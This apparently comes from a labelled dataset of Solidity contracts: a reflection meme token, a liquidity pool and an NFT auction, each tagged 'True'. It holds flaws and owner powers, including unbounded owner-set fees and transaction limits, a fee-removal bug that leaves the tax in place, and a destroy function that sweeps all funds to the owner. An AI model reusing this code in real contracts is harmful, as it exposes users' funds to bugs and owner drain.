interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIPYARD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address public _teamWallet = 0xB9Bcffb4c074b21D301EC563B69Ca7FAAa1358cD; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Floki’s Shipyard | t.me/flokisshipyard"; string private _symbol = "SHIPYARD"; uint8 private _decimals = 9; uint256 public _taxFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 public _teamFee = 0; uint256 private _previousTeamFee = _teamFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 4000000 * 10**9; uint256 private numTokensSellToAddToLiquidity = 8000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 teamFee) external onlyOwner() { _teamFee = teamFee; } function setMaxTx(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = maxTxPercent; } function setNumTokensSellToAddToLiquidity(uint256 _numTokensSellToAddToLiquidity) external onlyOwner() { numTokensSellToAddToLiquidity = _numTokensSellToAddToLiquidity; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tTeam = calculateTeamFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[_teamWallet] = _rOwned[_teamWallet].add(rTeam); if(_isExcluded[_teamWallet]) _tOwned[_teamWallet] = _tOwned[_teamWallet].add(tTeam); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateTeamFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_teamFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _teamFee = 0; _previousTeamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }

True

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// SPDX-License-Identifier: MIT /** * @title Liquidity Contract * @author: Muhammad Zaryab Khan * Developed By: BLOCK360 * Date: Septemeber 17, 2020 * Version: 1.0.0 */ pragma solidity 0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface TokenInterface { function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface DexInterface { function collectedFee(string calldata currency) external view returns (uint256); } contract Liquidity is Ownable { using SafeMath for uint256; string public version = "1.0.0"; address public DEX; string[] public allLiquidities; mapping(string => address) public contractAddress; event DEXUpdated(address oldDEX, address newDEX); event TokenUpdated(string symbol, address newContract); event PaymentReceived(address from, uint256 amount); event LiquidityWithdraw( string symbol, address indexed to, uint256 amount, uint256 timestamp ); event LiquidityTransfer( string symbol, address indexed to, uint256 amount, uint256 timestamp ); /** * @dev Throws if called by any account other than the DEX. */ modifier onlyDEX() { require(DEX == _msgSender(), "Liquidity: caller is not DEX"); _; } constructor( address owner, address gsu, address usdt ) public { require(owner != address(0x0), "[Liquidity], owner is zero address"); require(gsu != address(0x0), "[Liquidity], gsu is zero address"); require(usdt != address(0x0), "[Liquidity], usdt is zero address"); allLiquidities.push("ETH"); newLiquidity(gsu); newLiquidity(usdt); transferOwnership(owner); } fallback() external payable { emit PaymentReceived(_msgSender(), msg.value); } receive() external payable { emit PaymentReceived(_msgSender(), msg.value); } function withdraw(string calldata symbol, uint256 amount) external onlyOwner { require(amount > 0, "[Liquidity] amount is zero"); require( balanceOf(symbol).sub(amount) >= DexInterface(DEX).collectedFee(symbol), "[Liquidity] amount exceeds available funds" ); if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(owner(), amount); else address(uint160(owner())).transfer(amount); emit LiquidityWithdraw(symbol, owner(), amount, block.timestamp); } function transfer( string calldata symbol, address payable recipient, uint256 amount ) external onlyDEX returns (bool) { if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(recipient, amount); else recipient.transfer(amount); emit LiquidityTransfer(symbol, recipient, amount, block.timestamp); return true; } function balanceOf(string memory symbol) public view returns (uint256) { if (isERC20Token(symbol)) return TokenInterface(contractAddress[symbol]).balanceOf( address(this) ); else return address(this).balance; } function isERC20Token(string memory symbol) public view returns (bool) { return contractAddress[symbol] != address(0x0); } function setDex(address newDEX) external onlyOwner returns (bool) { emit DEXUpdated(DEX, newDEX); DEX = newDEX; return true; } function newLiquidity(address _contract) private onlyOwner returns (bool) { string memory symbol = TokenInterface(_contract).symbol(); allLiquidities.push(symbol); contractAddress[symbol] = _contract; return true; } function setTokenContract(string calldata symbol, address newContract) external onlyOwner returns (bool) { require(isERC20Token(symbol)); contractAddress[symbol] = newContract; emit TokenUpdated(symbol, newContract); return true; } function totalLiquidities() external view returns (uint256) { return allLiquidities.length; } function destroy() external onlyOwner { // index 0 is ethereum for (uint8 a = 1; a < allLiquidities.length; a++) { string memory currency = allLiquidities[a]; TokenInterface(contractAddress[currency]).transfer( owner(), balanceOf(currency) ); } selfdestruct(payable(owner())); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-02-17 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC1155 { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; } contract EnglishAuction { using SafeMath for uint256; // System settings uint256 public id; address public token; bool public ended = false; uint256 public startBidTime; address payable public haus; address payable public seller; uint256 public bidLength = 24 hours; uint256 public auctionLength = 24 hours; // Current winning bid uint256 public lastBid; uint256 public lastBidTime; address payable public winning; event Bid(address who, uint256 amount); event Won(address who, uint256 amount); constructor(uint256 _start, address payable _seller, address payable _haus) public { token = address(0x13bAb10a88fc5F6c77b87878d71c9F1707D2688A); id = 31; startBidTime = _start; lastBid = 0.55 ether; seller = _seller; haus = _haus; } function bid() public payable { require(msg.sender == tx.origin, "no contracts"); require(block.timestamp >= startBidTime, "Auction not started"); require(block.timestamp < startBidTime.add(auctionLength), "Auction ended"); require(msg.value >= lastBid.mul(105).div(100), "Bid too small"); // Give back the last bidders money if (lastBidTime != 0) { require(block.timestamp < lastBidTime.add(bidLength), "Auction ended"); winning.transfer(lastBid); } lastBid = msg.value; winning = msg.sender; lastBidTime = block.timestamp; emit Bid(msg.sender, msg.value); } function end() public { require(!ended, "end already called"); require(lastBidTime != 0, "no bids"); require(block.timestamp >= lastBidTime.add(bidLength) || block.timestamp >= startBidTime.add(auctionLength), "Auction live"); // transfer erc1155 to winner IERC1155(token).safeTransferFrom(address(this), winning, id, 1, new bytes(0x0)); uint256 balance = address(this).balance; uint256 hausFee = balance.div(20).mul(3); haus.transfer(hausFee); seller.transfer(address(this).balance); ended = true; emit Won(winning, lastBid); } function pull() public { require(!ended, "end already called"); require(lastBidTime == 0, "There were bids"); require(block.timestamp >= startBidTime.add(auctionLength), "Auction live"); // transfer erc1155 to seller IERC1155(token).safeTransferFrom(address(this), seller, id, 1, new bytes(0x0)); ended = true; } function live() external view returns(bool) { if (block.timestamp < lastBidTime.add(bidLength) && block.timestamp < startBidTime.add(auctionLength)) { return true; } return false; } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } }

True

